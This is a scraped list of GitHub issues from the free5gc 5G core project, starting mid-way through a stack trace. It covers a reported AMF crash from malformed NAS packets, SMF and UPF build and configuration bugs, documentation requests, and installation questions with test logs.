/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x3e4
created by [github.com/free5gc/amf/internal/ngap/service.listenAndServe](http://github.com/free5gc/amf/internal/ngap/service.listenAndServe) in goroutine 22
/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9a5
## Additional context
This security issue could allow a denial of service attack launched from a malicious UE to crash the AMF and affect other users. I'll create a pull request regarding this issue shortly.
|
[Bugs] AMF crashed with malformed NAS packets from UE
|
https://api.github.com/repos/free5gc/free5gc/issues/523/comments
| 2 |
2024-01-02T22:57:28Z
|
2024-01-09T14:04:32Z
|
https://github.com/free5gc/free5gc/issues/523
| 2,063,046,665 | 523 |
[
"free5gc",
"free5gc"
] |
Hi @brianchennn,
What is the meaning of 2020-03-31-01 in upf directory Version.sh file.
How to get this version?
Thanks in advance
|
About 2020-03-31-01 in upf directory
|
https://api.github.com/repos/free5gc/free5gc/issues/522/comments
| 2 |
2023-12-28T06:47:45Z
|
2024-01-02T10:01:27Z
|
https://github.com/free5gc/free5gc/issues/522
| 2,058,060,384 | 522 |
[
"free5gc",
"free5gc"
] |
Hi,
Can i connect actual/real UE to core network using non 3GPP access N3IWF.
Actually we are able to attach UE in Simulator mode,
Now we are looking into hardware part to establish Wi-Fi by using N3IWF and need to connect with 5g core,
Could you please suggest suitable hardware which is useful for N3IWF?
Thanks in advance.
|
Establish Wi-Fi signal using non 3GPP access to connect 5G core network
|
https://api.github.com/repos/free5gc/free5gc/issues/520/comments
| 1 |
2023-12-22T04:38:30Z
|
2024-01-02T07:54:13Z
|
https://github.com/free5gc/free5gc/issues/520
| 2,053,371,637 | 520 |
[
"free5gc",
"free5gc"
] |
## Issue Description
### What's the version are you using
free5GC v3.3.0 (latest stable version) on Ubuntu Server 20.04.6 with BASH 5.0.17
### Is your feature request related to a problem? Please describe.
It isn't a problem exactly, however it would be better to have [those configurations](https://free5gc.org/guide/5-install-ueransim/?h=reboot#7-testing-ueransim-against-free5gc) mentioned on the installation section of the documentation applied easily.
### Describe the solution you'd like
To have a nice and easy solution, I'd suggest coding a script to execute the commands faster.
### Describe alternatives/workarounds you've considered
It might be possible to use other iptables and/or kernel configuration files to make those configurations permanent on the host, but for now I'd suggest the script as an easy method of solving the issue.
Maybe in the future I/we could change the installation instructions with those permanent instructions (I didn't do it already as I couldn't test it myself yet).
### Additional context
I already made a PR to the repo with the suggested script.
## Issue Template Checklist
### If willing to resolve an issue by submitting Pull request, please consider the points below.
- [x] Yes, I have the time and I know how to start.
- [ ] Yes, I have the time but I don't know how to start, I would need guidance.
- [ ] No, I don't have the time, although I believe I could do it if I had the time...
- [ ] No, I don't have the time and I wouldn't even know how to start.
|
[Feat] Add a script to assist reloading the host configs after rebooting
|
https://api.github.com/repos/free5gc/free5gc/issues/517/comments
| 0 |
2023-12-11T23:45:27Z
|
2023-12-26T12:19:02Z
|
https://github.com/free5gc/free5gc/issues/517
| 2,036,723,050 | 517 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The tested [environment](https://free5gc.org/guide/Environment/) information is outdated and there is a broken URL on the [install page](https://free5gc.org/guide/3-install-free5gc/)
## Suggestion
Update both content
## Additional context
PR's already done on docs repo
|
[Docs] Update tested environment information and test URL on install page
|
https://api.github.com/repos/free5gc/free5gc/issues/516/comments
| 0 |
2023-12-11T22:20:39Z
|
2023-12-13T02:06:21Z
|
https://github.com/free5gc/free5gc/issues/516
| 2,036,630,343 | 516 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The [installation instructions](https://free5gc.org/guide/3-install-free5gc/#a-prerequisites) don't cover (yet) the installation of MongoDB on Ubuntu Server 22.04
## Suggestion
Add instructions regarding the matter on the appendix section of the docs website.
## Additional context
It's been some time since MongoDB is having issues in Ubuntu 22.04.x [[1](https://www.reddit.com/r/Ubuntu/comments/10rxme8/how_to_install_mongo_db_in_xubuntu_2204/?rdt=50063), [2](https://askubuntu.com/questions/1402179/not-able-to-install-mongodb-in-ubuntu-22-04), [3](https://stackoverflow.com/questions/72803345/unable-to-locate-package-mongodb-org)] and recently (while migrating my free5GC installation to Ubuntu 22.04.3) I've faced similar issues. As seen by me and pointed out by someone else (see https://github.com/free5gc/free5gc/issues/513), it might affect free5GC installations that are using Ubuntu 22.04 as MongoDB is a dependency.
So, I could fix the issue in my installation and wanted to share the knowledge with the community.
|
[Docs] Add information regarding MongoDB installation on Ubuntu Server 22.04
|
https://api.github.com/repos/free5gc/free5gc/issues/515/comments
| 1 |
2023-12-09T20:56:28Z
|
2023-12-11T15:44:34Z
|
https://github.com/free5gc/free5gc/issues/515
| 2,034,049,333 | 515 |
[
"free5gc",
"free5gc"
] |
hi all i am doing Test Resistration but its failed please help me to fix issue
$ ./test.sh TestRegistration
Cannot create namespace file "/run/netns/UPFns": File exists
2023-12-05T15:57:23+05:30 [INFO][UPF][Main] UPF version:
free5GC version: v3.2.1
build time: 2023-12-05T09:59:55Z
commit hash: 4972fffb
commit time: 2022-06-29T05:46:33Z
go version: go1.21.4 linux/amd64
2023-12-05T15:57:23+05:30 [INFO][UPF][Cfg] Read config from [./config/upfcfg.test.yaml]
2023-12-05T15:57:23+05:30 [INFO][UPF][Cfg] ==================================================
2023-12-05T15:57:23+05:30 [INFO][UPF][Cfg] (*factory.Config)(0xc000316730)({
Version: (string) (len=5) "1.0.3",
Description: (string) (len=31) "UPF initial local configuration",
Pfcp: (*factory.Pfcp)(0xc0003b65d0)({
Addr: (string) (len=14) "10.200.200.101",
NodeID: (string) (len=14) "10.200.200.101",
RetransTimeout: (time.Duration) 1s,
MaxRetrans: (uint8) 3
}),
Gtpu: (*factory.Gtpu)(0xc0003b6780)({
Forwarder: (string) (len=5) "gtp5g",
IfList: ([]factory.IfInfo) (len=1 cap=1) {
(factory.IfInfo) {
Addr: (string) (len=14) "10.200.200.102",
Type: (string) (len=2) "N3",
Name: (string) "",
IfName: (string) ""
}
}
}),
DnnList: ([]factory.DnnList) (len=1 cap=1) {
(factory.DnnList) {
Dnn: (string) (len=8) "internet",
Cidr: (string) (len=12) "10.60.0.0/16",
NatIfName: (string) ""
}
},
Logger: (*factory.Logger)(0xc00032ea20)({
Enable: (bool) true,
Level: (string) (len=4) "info",
ReportCaller: (bool) false
})
})
2023-12-05T15:57:23+05:30 [INFO][UPF][Cfg] ==================================================
2023-12-05T15:57:23+05:30 [INFO][UPF][Main] Log level is set to [info] level
2023-12-05T15:57:23+05:30 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-12-05T15:57:23+05:30 [INFO][UPF][Main] GTP Address: "10.200.200.102:2152"
2023-12-05T15:57:23+05:30 [INFO][UPF][Buff] buff server started
2023-12-05T15:57:23+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805] starting pfcp server
2023-12-05T15:57:23+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp server started
2023-12-05T15:57:23+05:30 [INFO][UPF][Main] UPF started
Run TestRegistration
2023-12-05T15:57:25+05:30 [INFO][NRF][CFG] config version [1.0.1]
2023-12-05T15:57:25+05:30 [INFO][AMF][CFG] config version [1.0.3]
2023-12-05T15:57:25+05:30 [INFO][SMF][CFG] SMF config version [1.0.2]
2023-12-05T15:57:25+05:30 [INFO][SMF][CFG] UE-Routing config version [1.0.1]
2023-12-05T15:57:25+05:30 [INFO][UDR][CFG] config version [1.0.1]
2023-12-05T15:57:25+05:30 [INFO][PCF][CFG] config version [1.0.1]
2023-12-05T15:57:25+05:30 [INFO][UDM][CFG] config version [1.0.2]
2023-12-05T15:57:25+05:30 [INFO][NSSF][CFG] config version [1.0.1]
2023-12-05T15:57:25+05:30 [INFO][AUSF][CFG] config version [1.0.2]
2023-12-05T15:57:25+05:30 [INFO][NRF][Init] NRF Log level is set to [info] level
2023-12-05T15:57:25+05:30 [INFO][NRF][Init] Server started
2023-12-05T15:57:25+05:30 [INFO][NRF][Init] nrfconfig Info: Version[1.0.1] Description[NRF initial test configuration]
2023-12-05T15:57:25+05:30 [INFO][NRF][Init] Binding addr: [127.0.0.10:8000]
2023-12-05T15:57:26+05:30 [INFO][AMF][Init] AMF Log level is set to [info] level
2023-12-05T15:57:26+05:30 [INFO][LIB][NAS] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][NAS] set report call : false
2023-12-05T15:57:26+05:30 [INFO][LIB][NGAP] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][NGAP] set report call : false
2023-12-05T15:57:26+05:30 [INFO][LIB][FSM] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][FSM] set report call : false
2023-12-05T15:57:26+05:30 [INFO][LIB][Aper] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][Aper] set report call : false
2023-12-05T15:57:26+05:30 [INFO][AMF][Init] Server started
2023-12-05T15:57:26+05:30 [INFO][AMF][Util] amfconfig Info: Version[1.0.3] Description[AMF initial test configuration]
2023-12-05T15:57:26+05:30 [INFO][AMF][NGAP] Listen on 127.0.0.1:38412
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/696f079f-1304-4e1c-a0ce-fab621ed7cf7
2023-12-05T15:57:26+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/696f079f-1304-4e1c-a0ce-fab621ed7cf7 |
2023-12-05T15:57:26+05:30 [INFO][SMF][Init] SMF Log level is set to [info] level
2023-12-05T15:57:26+05:30 [INFO][LIB][NAS] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][NAS] set report call : false
2023-12-05T15:57:26+05:30 [INFO][LIB][NGAP] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][NGAP] set report call : false
2023-12-05T15:57:26+05:30 [INFO][LIB][Aper] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][Aper] set report call : false
2023-12-05T15:57:26+05:30 [INFO][LIB][PFCP] set log level : info
2023-12-05T15:57:26+05:30 [INFO][LIB][PFCP] set report call : false
2023-12-05T15:57:26+05:30 [INFO][SMF][CTX] smfconfig Info: Version[1.0.2] Description[SMF initial single test configuration]
2023-12-05T15:57:26+05:30 [INFO][SMF][CTX] Endpoints: [10.200.200.102]
2023-12-05T15:57:26+05:30 [INFO][SMF][Init] Server started
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/d47c9496-a3d9-49e7-8758-e359cfe8566f
2023-12-05T15:57:26+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/d47c9496-a3d9-49e7-8758-e359cfe8566f |
2023-12-05T15:57:26+05:30 [INFO][SMF][Init] SMF Registration to NRF {d47c9496-a3d9-49e7-8758-e359cfe8566f SMF REGISTERED 0 0xc00059af60 0xc00059af78 [] [] [127.0.0.2] [] <nil> [] [] <nil> 0 0 0 <nil> <nil> <nil> <nil> 0xc00051fa40 <nil> <nil> <nil> <nil> <nil> map[] <nil> false 0xc00059aeb8 false false []}
2023-12-05T15:57:26+05:30 [INFO][SMF][PFCP] Listen on 10.200.200.1:8805
2023-12-05T15:57:26+05:30 [INFO][SMF][App] Sending PFCP Association Request to UPF[10.200.200.101]
2023-12-05T15:57:26+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805] handleAssociationSetupRequest
2023-12-05T15:57:26+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805][rNodeID:10.200.200.1] New node
2023-12-05T15:57:26+05:30 [INFO][LIB][PFCP] Remove Request Transaction [1]
2023-12-05T15:57:26+05:30 [INFO][SMF][App] Received PFCP Association Setup Accepted Response from UPF[10.200.200.101]
2023-12-05T15:57:26+05:30 [INFO][UDR][Init] UDR Log level is set to [info] level
2023-12-05T15:57:26+05:30 [INFO][UDR][Init] UDR Config Info: Version[1.0.1] Description[UDR initial test configuration]
2023-12-05T15:57:26+05:30 [INFO][UDR][Init] Server started
2023-12-05T15:57:26+05:30 [INFO][UDR][Util] udrconfig Info: Version[1.0.1] Description[UDR initial test configuration]
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/37328e70-f970-4519-81c7-089050a3c69d
2023-12-05T15:57:26+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/37328e70-f970-4519-81c7-089050a3c69d |
2023-12-05T15:57:26+05:30 [INFO][PCF][Init] PCF Log level is set to [info] level
2023-12-05T15:57:26+05:30 [INFO][PCF][Init] Server started
2023-12-05T15:57:26+05:30 [INFO][PCF][Util] pcfconfig Info: Version[1.0.1] Description[PCF initial test configuration]
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/dca940ee-e6bb-45a7-9210-698952890d10
2023-12-05T15:57:26+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/dca940ee-e6bb-45a7-9210-698952890d10 |
2023-12-05T15:57:26+05:30 [INFO][NRF][DSCV] Handle NFDiscoveryRequest
2023-12-05T15:57:26+05:30 [INFO][NRF][GIN] | 200 | 127.0.0.1 | GET | /nnrf-disc/v1/nf-instances?requester-nf-type=PCF&service-names=nudr-dr&target-nf-type=UDR |
2023-12-05T15:57:26+05:30 [INFO][UDM][Init] UDM Log level is set to [info] level
2023-12-05T15:57:26+05:30 [INFO][UDM][Init] UDM Config Info: Version[1.0.2] Description[UDM initial test configuration]
2023-12-05T15:57:26+05:30 [INFO][UDM][Init] Server started
2023-12-05T15:57:26+05:30 [INFO][UDM][Util] udmconfig Info: Version[1.0.2] Description[UDM initial test configuration]
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:26+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/0b962212-404a-4d96-81e0-83add2adbb21
2023-12-05T15:57:26+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/0b962212-404a-4d96-81e0-83add2adbb21 |
2023-12-05T15:57:27+05:30 [INFO][NSSF][Init] NSSF Log level is set to [info] level
2023-12-05T15:57:27+05:30 [INFO][NSSF][Init] Server started
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/43e473fd-fc39-4b6b-95ae-cbc93784fe3f
2023-12-05T15:57:27+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/43e473fd-fc39-4b6b-95ae-cbc93784fe3f |
2023-12-05T15:57:27+05:30 [INFO][AUSF][Init] AUSF Log level is set to [info] level
2023-12-05T15:57:27+05:30 [INFO][AUSF][Init] Server started
2023-12-05T15:57:27+05:30 [INFO][AUSF][Init] ausfconfig Info: Version[1.0.2] Description[AUSF initial test configuration]
ausf context = &{{{0 0} {[] {} <nil>} map[] 0} {{0 0} {[] {} <nil>} map[] 0} 770a782f-a50b-403b-86fc-a67a9f37f2c4 ausfGroup001 8000 127.0.0.9 127.0.0.9 http://127.0.0.9:8000 http http://127.0.0.10:8000 map[nausf-auth:{770a782f-a50b-403b-86fc-a67a9f37f2c4 nausf-auth 0xc0007deb10 http REGISTERED 0xc0007deaf8 [] <nil> [] [] <nil> 0 0 0 <nil> <nil> }] [{208 93} {123 45}] 0xc0005fec80 false}
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] Handle NFRegisterRequest
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] urilist update
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] Create NF Profile
2023-12-05T15:57:27+05:30 [INFO][NRF][MGMT] Location header: http://127.0.0.10:8000/nnrf-nfm/v1/nf-instances/770a782f-a50b-403b-86fc-a67a9f37f2c4
2023-12-05T15:57:27+05:30 [INFO][NRF][GIN] | 201 | 127.0.0.1 | PUT | /nnrf-nfm/v1/nf-instances/770a782f-a50b-403b-86fc-a67a9f37f2c4 |
=== RUN TestRegistration
2023-12-05T15:57:27+05:30 [INFO][AMF][NGAP] [AMF] SCTP Accept from: 127.0.0.1:9487
2023-12-05T15:57:27+05:30 [INFO][AMF][NGAP] Create a new NG connection for: 127.0.0.1:9487
2023-12-05T15:57:27+05:30 [INFO][AMF][NGAP][127.0.0.1:9487] Handle NG Setup request
2023-12-05T15:57:27+05:30 [INFO][AMF][NGAP][127.0.0.1:9487] Send NG-Setup response
2023-12-05T15:57:27+05:30 [INFO][AMF][NGAP][127.0.0.1:9487] Handle Initial UE Message
2023-12-05T15:57:27+05:30 [INFO][LIB][FSM] Handle event[Gmm Message], transition from [Deregistered] to [Deregistered]
2023-12-05T15:57:27+05:30 [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Handle Registration Request
2023-12-05T15:57:27+05:30 [INFO][LIB][FSM] Handle event[Start Authentication], transition from [Deregistered] to [Authentication]
2023-12-05T15:57:27+05:30 [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Authentication procedure
2023-12-05T15:57:27+05:30 [INFO][NRF][DSCV] Handle NFDiscoveryRequest
2023-12-05T15:57:27+05:30 [INFO][NRF][GIN] | 200 | 127.0.0.1 | GET | /nnrf-disc/v1/nf-instances?requester-nf-type=AMF&target-nf-type=AUSF |
2023-12-05T15:59:10+05:30 [INFO][UPF][Main] Shutdown UPF ...
2023-12-05T15:59:10+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805] Stopping pfcp server
2023-12-05T15:59:10+05:30 [ERRO][UPF][Pfcp][10.200.200.101:8805] read udp 10.200.200.101:8805: use of closed network connection
2023-12-05T15:59:10+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp server stopped
2023-12-05T15:59:10+05:30 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp reciver stopped
2023-12-05T15:59:10+05:30 [INFO][UPF][Buff] buff server stopped
2023-12-05T15:59:10+05:30 [INFO][UPF][Main] Terminating UPF...
2023-12-05T15:59:10+05:30 [INFO][UPF][Main] UPF terminated
2023-12-05T15:59:10+05:30 [INFO][UPF][Main] UPF exited
2023-12-05T15:59:38+05:30 [ERRO][AMF][GMM][AMF_UE_NGAP_ID:1] Nausf_UEAU Authenticate Request Error: server no response
2023-12-05T15:59:38+05:30 [INFO][LIB][FSM] Handle event[Authentication Error], transition from [Authentication] to [Deregistered]
2023-12-05T15:59:38+05:30 [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Handle Authentication Error
2023-12-05T15:59:38+05:30 [INFO][AMF][GMM][AMF_UE_NGAP_ID:1] Send Registration Reject
2023-12-05T15:59:38+05:30 [INFO][AMF][NGAP][127.0.0.1:9487][AMF_UE_NGAP_ID:1] Send Downlink Nas Transport
registration_test.go:139:
Error Trace: registration_test.go:139
Error: Not equal:
expected: 0x44
actual : 0x56
Test: TestRegistration
Messages: Received wrong GMM message. Expected Authentication Request.
--- FAIL: TestRegistration (130.97s)
FAIL
exit status 1
FAIL test 132.586s
upf: no process found
Cannot find device "veth0"
Cannot remove namespace file "/run/netns/UPFns": No such file or directory
RTNETLINK answers: Cannot assign requested address
GO version- go1.21.4 linux/amd64
ubuntu -22.04.03 LTS
free5GC version: v3.2.1
|
TestRegistration Failed
|
https://api.github.com/repos/free5gc/free5gc/issues/514/comments
| 30 |
2023-12-05T10:33:37Z
|
2023-12-22T08:41:35Z
|
https://github.com/free5gc/free5gc/issues/514
| 2,025,867,870 | 514 |
[
"free5gc",
"free5gc"
] |
Hi,
I tried to follow the steps from the wiki here, but it failed when I tried to install mongodb.
ubuntu@free5gc:~$ sudo apt -y install mongodb wget git
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package mongodb is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
E: Package 'mongodb' has no installation candidate
Here is my go version:
ubuntu@free5gc:~$ go version
go version go1.21.4 linux/amd64
How can I install mongodb here? appreciate any assistance and help.
Regards,
Fajar
|
mongodb is not found
|
https://api.github.com/repos/free5gc/free5gc/issues/513/comments
| 4 |
2023-12-04T17:53:55Z
|
2023-12-22T08:26:17Z
|
https://github.com/free5gc/free5gc/issues/513
| 2,024,411,895 | 513 |
[
"free5gc",
"free5gc"
] |
## Documentation request
GTP-U module version was outdated and docs lacked a way to help resetting iptables rules
## Suggestion
Update the version and add an new troubleshooting entry
## Additional context
I've tested both suggested modifications on latest v3.3.0 stable release and they work.
PRs already made on the docs repository
|
[Docs] Update gtp5g version and add iptables troubleshooting steps
|
https://api.github.com/repos/free5gc/free5gc/issues/512/comments
| 1 |
2023-11-25T18:45:53Z
|
2023-11-26T22:23:46Z
|
https://github.com/free5gc/free5gc/issues/512
| 2,010,761,307 | 512 |
[
"free5gc",
"free5gc"
] |
Hello! Please tell me, are you going to add support for the UEIP and FTUP options in the near future?
|
[Question] UEIP&FTUP Options
|
https://api.github.com/repos/free5gc/free5gc/issues/509/comments
| 1 |
2023-11-20T11:13:45Z
|
2023-11-30T16:56:08Z
|
https://github.com/free5gc/free5gc/issues/509
| 2,001,950,322 | 509 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
In SMF, some staticPools and pools configuration cause start error.
## To Reproduce
Try to start SMF with configuration file followed:
```
info:
version: 1.0.7
description: SMF initial local configuration
configuration:
smfName: SMF # the name of this SMF
sbi: # Service-based interface information
scheme: http # the protocol for sbi (http or https)
registerIPv4: 127.0.0.2 # IP used to register to NRF
bindingIPv4: 127.0.0.2 # IP used to bind the service
port: 8000 # Port used to bind the service
tls: # the local path of TLS key
key: cert/smf.key # SMF TLS Certificate
pem: cert/smf.pem # SMF TLS Private key
serviceNameList: # the SBI services provided by this SMF, refer to TS 29.502
- nsmf-pdusession # Nsmf_PDUSession service
- nsmf-event-exposure # Nsmf_EventExposure service
- nsmf-oam # OAM service
snssaiInfos: # the S-NSSAI (Single Network Slice Selection Assistance Information) list supported by this AMF
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 010203 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
dnnInfos: # DNN information list
- dnn: internet # Data Network Name
dns: # the IP address of DNS
ipv4: 8.8.8.8
ipv6: 2001:4860:4860::8888
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 112233 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
dnnInfos: # DNN information list
- dnn: internet # Data Network Name
dns: # the IP address of DNS
ipv4: 8.8.8.8
ipv6: 2001:4860:4860::8888
plmnList: # the list of PLMN IDs that this SMF belongs to (optional, remove this key when unnecessary)
- mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
locality: area1 # Name of the location where a set of AMF, SMF, PCF and UPFs are located
pfcp: # the IP address of N4 interface on this SMF (PFCP)
# addr config is deprecated in smf config v1.0.3, please use the following config
nodeID: 127.0.0.1 # the Node ID of this SMF
listenAddr: 127.0.0.1 # the IP/FQDN of N4 interface on this SMF (PFCP)
externalAddr: 127.0.0.1 # the IP/FQDN of N4 interface on this SMF (PFCP)
userplaneInformation: # list of userplane information
upNodes: # information of userplane node (AN or UPF)
gNB1: # the name of the node
type: AN # the type of the node (AN or UPF)
UPF: # the name of the node
type: UPF # the type of the node (AN or UPF)
nodeID: 127.0.0.8 # the Node ID of this UPF
addr: 127.0.0.8 # the IP/FQDN of N4 interface on this UPF (PFCP)
sNssaiUpfInfos: # S-NSSAI information list for this UPF
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 010203 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
dnnUpfInfoList: # DNN information list for this S-NSSAI
- dnn: internet
pools:
- cidr: 10.60.0.0/16
staticPools:
- cidr: 10.60.0.1/32
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 112233 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
dnnUpfInfoList: # DNN information list for this S-NSSAI
- dnn: internet
pools:
- cidr: 10.61.0.0/16
staticPools:
- cidr: 10.61.100.0/24
interfaces: # Interface list for this UPF
- interfaceType: N3 # the type of the interface (N3 or N9)
endpoints: # the IP address of this N3/N9 interface on this UPF
- 127.0.0.8
networkInstances: # Data Network Name (DNN)
- internet
links: # the topology graph of userplane, A and B represent the two nodes of each link
- A: gNB1
B: UPF
# retransmission timer for pdu session modification command
t3591:
enable: true # true or false
expireTime: 16s # default is 6 seconds
maxRetryTimes: 3 # the max number of retransmission
# retransmission timer for pdu session release command
t3592:
enable: true # true or false
expireTime: 16s # default is 6 seconds
maxRetryTimes: 3 # the max number of retransmission
nrfUri: http://127.0.0.10:8000 # a valid URI of NRF
#urrPeriod: 10 # default usage report period in seconds
#urrThreshold: 1000 # default usage report threshold in bytes
logger: # log output setting
enable: true # true or false
level: info # how detailed to output, value: trace, debug, info, warn, error, fatal, panic
reportCaller: false # enable the caller report or not, value: true or false
```
## Expected behavior
Start SMF correctly
## Environment (please complete the following information):
- free5GC Version: e48e933dde6bad3a83f6cd327003eeba6992abfa
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.15.0-88-generic
- go version: 1.21.4
### Log File
```
$ ./bin/smf
2023-11-10T11:39:54.885897982+09:00 [INFO][SMF][Main] SMF version:
free5GC version: v3.3.0-22-ge48e933
build time: 2023-11-10T02:30:52Z
commit hash: 1be93089
commit time: 2023-10-12T12:41:27Z
go version: go1.21.4 linux/amd64
2023-11-10T11:39:54.886178718+09:00 [INFO][SMF][CFG] Read config from [./config/smfcfg.yaml]
2023-11-10T11:39:54.889381300+09:00 [INFO][SMF][CFG] Read config from [./config/uerouting.yaml]
2023-11-10T11:39:54.890219675+09:00 [INFO][SMF][Main] Log enable is set to [true]
2023-11-10T11:39:54.890262707+09:00 [INFO][SMF][Main] Log level is set to [info]
2023-11-10T11:39:54.890288908+09:00 [INFO][SMF][Main] Report Caller is set to [false]
2023-11-10T11:39:54.890356317+09:00 [INFO][SMF][CTX] smfconfig Info: Version[1.0.7] Description[SMF initial local configuration]
2023-11-10T11:39:54.890427614+09:00 [INFO][SMF][CTX] Endpoints: [127.0.0.8]
2023-11-10T11:39:54.890477954+09:00 [FATA][SMF][Init] exclude static Pool[10.60.0.1/32] failed: exclude uePool fail: reserve range should in [171704321, 171769854]
$
```
|
[Bugs] SMF startup failed with some staticPools value
|
https://api.github.com/repos/free5gc/free5gc/issues/506/comments
| 1 |
2023-11-10T02:40:18Z
|
2023-12-02T06:47:33Z
|
https://github.com/free5gc/free5gc/issues/506
| 1,986,743,907 | 506 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
UPF cannot be build with go 1.21
## Expected behavior
Can build with go 1.21
## Screenshots
```
$ go version
go version go1.21.4 linux/amd64
$ make upf
Start building upf....
cd NFs/upf/cmd && \
CGO_ENABLED=0 go build -gcflags "" -ldflags "-X github.com/free5gc/util/version.VERSION=v3.3.0-22-ge48e933 -X github.com/free5gc/util/version.BUILD_TIME=2023-11-08T05:41:37Z -X github.com/free5gc/util/version.COMMIT_HASH=4fe9ca39 -X github.com/free5gc/util/version.COMMIT_TIME=2023-10-24T14:52:58Z" -o /home/nishi/free5gc-deb/free5gc/bin/upf main.go
go: updates to go.mod needed; to update it:
go mod tidy
make: *** [Makefile:47: bin/upf] Error 1
$
```
## Environment (please complete the following information):
- free5GC Version: e48e933dde6bad3a83f6cd327003eeba6992abfa
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.15.0-88-generic
- go version: 1.21.4
|
[Bugs] UPF build error with go 1.21
|
https://api.github.com/repos/free5gc/free5gc/issues/505/comments
| 2 |
2023-11-08T05:44:48Z
|
2023-11-12T10:26:34Z
|
https://github.com/free5gc/free5gc/issues/505
| 1,982,792,217 | 505 |
[
"free5gc",
"free5gc"
] |
hi team,
i am planning to test 5g wifi by using n3iwf in free5gc and connect to commercial UE . i want to know you guys are tested 5g wifi by using free5gc?
if yes please send me the link .
if no please give me some suggestion
|
How to broadcast wifi using 5g core network
|
